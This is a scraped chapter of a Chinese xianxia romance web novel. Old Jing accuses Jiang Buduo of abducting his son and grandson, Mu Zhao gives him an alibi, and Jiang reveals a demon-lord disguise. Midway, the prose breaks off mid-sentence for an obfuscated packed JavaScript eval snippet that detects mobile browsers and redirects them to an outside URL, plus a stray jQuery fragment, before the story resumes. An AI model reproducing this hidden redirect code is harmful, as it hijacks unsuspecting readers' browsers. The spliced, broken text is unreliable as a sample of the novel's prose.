50. 你怕我?
作品:《反派他总为我挡刀》 两道不同的声音从门口传来,荆伯听到浮光的声音并没有什么反应,依旧挥舞着手里的木棍,毫无规律却又破坏力极强。
江不渡反倒一时愣住,下意识收起手,挡在身前的透明结界消失。
他看向门口。
突然失去结界保护,肩膀蓦地一疼,荆伯趁他不注意又打了一棍子。
江不渡忍不住闷哼出声。
见状,慕昭想也不想的冲过去,径自走到荆伯身后,借着视野盲区,一把从他手中把棍子抽出来,声音泛冷。
“荆伯,我看你一把年纪,才以礼相待,但是希望您不要得寸进尺,冤有头债有主,谁把您儿子和孙子带走的,您找谁,不要在这里倚老卖老肆意欺辱他人!”
没想到她会突然这么生气,浮光赶紧上前,一把把荆伯拽到旁边。
“荆伯,发生了什么事,您怎么就一直追着江公子不放?”
荆伯内伤严重,方才又不顾伤势的从床上起身,此刻气喘不已,一双昏黄的眼睛死死盯着江不渡,情绪激动。
“就是他!就是他来我家把我儿子和孙子都抢走征兵的!就是他,我死也不会认错!!”
“而且……而且他,”
荆伯急切的撩开自己的衣袖,粗糙的手指疯狂点着臂弯内侧,“就是这里,就是这里!”
“那天抢走我儿和孙的男子这里也有一个赤焰花,就连位置都一模一样,我绝对不会认错!”
闻言,浮光不自觉抬头看向江不渡,他站在慕昭身后,脸色苍白,不发一语。
“江公子,那日强行掳走荆伯儿孙的人,真的是你?”
慕昭虽然站在江不渡身前,但与他还有些距离,可他身上的冷气却弥漫的厉害,像是无数根冰刺,直接透过衣服刺进她皮肤里一样。
冷的她几乎颤抖。
不知是不是荆伯说的那个赤焰花,身后的男子脚步有些慌乱,紧接着,慕昭感觉到衣袖传来细微的拽动。
江不渡手中的冷气瞬间从袖口蔓延而上,如雪崩一般袭来。
“我……”他声音虚弱,似是早已不堪重负,却又急于解释,只能强逼自己出声,“没、没有,你信……我。”
听出他语气中的不安,慕昭微微抬眸,看向荆伯,沉声问道:“你说的那日,是何时?”
荆伯记得无比清楚,她刚问出口便脱口回答,“上月二十六!”
“上月二十六……”慕昭忍不住冷笑,“那日他正在我慕府之中,怎会不远千里过来掳走你的儿孙!”
听到她给江不渡做人证,荆伯愣了一下,而后着急不已,“就是他,就是他,我那日亲眼看见,定不会认错!你,你定是和他一伙的!”
见荆伯越来越激动,浮光替他顺了顺背,“荆伯,慕姑娘不是那样的人,再说有慕姑娘作证,江公子应该是真的没有做过那种事。”
“你……”荆伯听他胳膊肘往外拐,气的伸手指他,“你这么说,就是我这个糟老头子污蔑他不成!”
“不是的荆伯,您先消消气。”
浮光赶紧安抚他,“倘若这件事真的是江公子做的,那他为什么还要再次回到竹中村。“
“而且您之前说过江公子是始祖源脉,想必动起手来威力极大,可您现在还能站在这里说话,足以见得江公子人心向善,绝无伤人之心。”
“这件事估计内有蹊跷,荆伯您先别激动,听江公子解释一下好不好?”
被浮光安抚了一番,荆伯歇了口气,“让他说,我就不信他能说出花来!”
见他听劝,浮光看向慕昭,“慕姑娘。”
慕昭微微颔首,还未来得及转身,拽在袖口的手突然松开,而后强硬的挤开指缝,严丝合缝的嵌进她的五指中,十指相扣。
此刻握着他的手,就像是在冷冻室拿了一块千年冻肉,冷的刺骨。
汲取到一丝温暖,江不渡缓了口气,并没有着急开口解释,而是微微闭上眼。
下一秒,覆在眼睫上的霜雪陡然蒸发,缓缓睁开,原本黑如曜石的眸子此刻红如火焰,相貌全然变了样子,颇为邪性的看向荆伯。
就连说话声色都发生了变化,阴柔而狠戾。
“你可知,世有易容之术。”
慕昭还站在他身前并未回头,猛然听到有些陌生的声音,怔了一下,不由自主的偏眸向后看,看清身后的男子的相貌之时,呼吸一滞。
“魔君……”
见她回过头,江不渡垂下眸子,仔细看过她因为惊讶而细微颤动的瞳孔,赤红的双眸微微眯起,“你怕我?”
话音刚落,慕昭还没回答,他又慢慢出声,“一个疯子,怕也是正常,不过……”
他声音微微拉长,另一只手抚上她的脸颊,替她拨开有些凌乱的鬓发,“有我在,你怕他个屁。”
从江劝的脸上看到属于江不渡的自傲,只一瞬间,慕昭踏下心来,皱着眉出声,“快变回去。”
“我又不是变给你看的。”
江不渡把她的碎发挽到耳后,抬眸看向荆伯,“我知道你一介凡魔,法力低下,并无法识破高阶之术,我也无心与你计较你污蔑我一事,不过江某向来信奉‘来而不往非礼也’。”
话落,声音顿了一下,忽然感觉身上的魔气全都被雪脉压制,动用不了半分。
甚至就连江劝的脸都维持不住,他忍着把狠话放完。
“至于这份礼,先欠着,来日我定会找你讨要。”
荆伯早就被他突然变化的相貌惊到,一时有些失语,浮光倒是先反应过来,喊了他一声。
“荆伯?”
听到他的声音,荆伯一下回过神,有些结巴,“那、那日究竟是谁扮成你的样子,抢走了我的儿孙?!”
江不渡褪去江劝邪肆的相貌,变回自己清冷如雪的样子,眉眼却难掩恶劣,“我知道是谁抢走了你的儿孙。”
闻言,荆伯瞬间激动起来,迫切的看着他,“是谁?到底是谁!”
江不渡嘴角一勾,“我为什么要告诉你。”
此话一说出口,他就已经做好被慕昭甩开手的准备,毕竟她向来大公无私的
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16741103|185165||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
很,但是过了几秒,手中依然一片温软,丝毫没有想挣脱开的迹象。
他不由得低眉看向站在身前的女子。
女子小小一只,肩膀单薄的厉害,穿着一身青色纱裙,安安静静的站在他身边。
一个身量只到他下颌,微微俯身就能把下巴抵到她头上的小女子,此时就像是无声的在帮他撑场子。
有时候,沉默就是一种纵容。
慕昭于他而言就是如此。
思及此,江不渡心情略微好转,径自上前半步,与慕昭贴近了一些,默默汲取她身上散发的暖意,眉眼一扫郁气,带着说不出的畅快与嚣张。
“此事与我没有半点关系,所以你的儿孙此时身在何处,是死是活,与我有何干系。”
“你……”荆伯还想说些什么。
慕昭立刻打断,“事情既然已经明了,那便与我们没关系了,天色已晚,我们就先回去歇息了。”
说着,看了眼双儿。
“双儿,跟曹大夫核实一下,凡是江不渡损坏的物件儿,我照价赔偿,至于荆伯破坏的,我便不插手了。”
不知为什么,看着慕昭这么护着江不渡,双儿也与有荣焉,十分痛快的应了一声,“小姐,我一定仔细核实,定不会多掏一分钱!”
两人走后,双儿拿着装满魔石的荷包,走向不知什么时候躲在角落的曹大夫,“曹大夫,有什么是我们江公子损坏的东西吗?”
曹大夫四下打量了一会儿,有些无奈,“他就打翻了一个瓷碗,不值钱。”
闻言,双儿有些惊讶,“我们江公子不是和荆伯在打架吗,他真就只弄碎了一个瓷碗?”
“江公子只是过来问浮光住在哪,但是被老荆看到了,二话不说他就朝着江公子冲过去了,江公子一时不察才碰掉的瓷碗。”
双儿眨了眨眼,“这样啊,但是我们小姐说了,江公子损坏的都要赔,就算一个瓷碗也得赔,曹大夫您说个数,我把魔石给你,回去也好交差。”
曹大夫叹了口气,应了一声。
江不渡跟着慕昭回到浮光的院子里,然后闷头要跟着她进房间。
浮光见状,立刻出声,“江公子,院中已无多余厢房,你要是不嫌弃,晚上便与我暂住一夜吧。”
“不用。”
江不渡轻淡的回了一句,继续跟在慕昭身后。
听他拒绝,慕昭一点也没觉得意外,毕竟他此刻浑身寒气逼人,怎么可能不来取暖。
浮光听到他毫不犹豫的拒绝,担心的看了慕昭一眼,却没得到她的回应,再次出声,“那是慕姑娘的房间,江公子深夜前去,是否有些不妥?”
“不妥……”
江不渡刚想回应,慕昭突然解释,“我有事要跟他聊一聊,扶光你先回去歇息吧,至于他的住宿问题……他自己解决。”
既然慕昭如此说,浮光也没有立场再说些什么。
慕昭打开房门,前脚刚走进去,后脚便听到一阵关门声,随即腰间一紧。
整个人被搂进一个冰冷的怀抱里。

